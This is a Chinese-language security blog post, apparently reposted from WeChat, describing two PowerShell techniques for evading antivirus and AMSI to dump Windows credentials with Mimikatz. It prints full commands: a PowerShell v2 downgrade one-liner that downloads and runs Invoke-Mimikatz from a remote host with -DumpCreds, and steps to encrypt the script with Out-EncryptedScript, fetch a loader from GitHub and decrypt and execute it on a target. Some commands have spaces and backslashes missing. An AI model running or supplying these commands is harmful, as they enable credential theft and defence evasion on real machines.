0x00 前言
今天给大家分享两个利用powershell来bypass杀软抓密码技巧，亲测目前不杀。
注：首发在了土司 https://www.t00ls.net/thread-62167-1-1.html
0x01 利用powershell v2绕过amsi抓密码
注：前提是win10机器需要.net3.0以上
当我们使用原始的powershell执行经典的抓密码发现，是被amsi阻止的
powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
此时我们利用降维攻击，强制使用PowerShell v2绕过 amsi，因为版本2没有支持AMSI的必要内部挂钩
可以看到成功绕过了amsi的检测执行成功mimikatz抓到了密码！.
0x02 使用Out-EncryptedScript加密抓密码
注：亲测目前可绕过某绒和某60
Out-EncryptedScript是Powersploit中提供工具的一种，他是用来进行加密处理的脚本，首先我们将Out-EncryptedScript.ps1与Invoke-Mimikatz.ps1放到同一目录下
依次执行如下命令
powershell.exeImport-Module .Out-EncryptedScript.ps1Out-EncryptedScript -ScriptPath .Invoke-Mimikatz.ps1 -Password tubai -Salt 123456
目录下便会自动生成evil.ps1文件，上传到目标机器即可
在目标机器依次执行如下命令
powershell.exeIEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1") 注：由于https://raw.githubusercontent.com/不稳地，我本人是放在自己的阿里云上的。[String] $cmd = Get-Content .evil.ps1Invoke-Expression $cmd$decrypted = de tubai 123456Invoke-Expression $decryptedInvoke-Mimikatz
如下，便成功绕过了杀软，成功的抓到了密码
总结：
绕过AV的方式层出不穷，powershell在内网渗透方面利用的方式非常多，远远不止免杀与信息收集，希望大家能在授权的情况下，玩转自己的绕过思路，都能总结出自己的一些bypass小技巧！
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号（潇湘信安）：利用Powershell免杀抓密码姿势
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论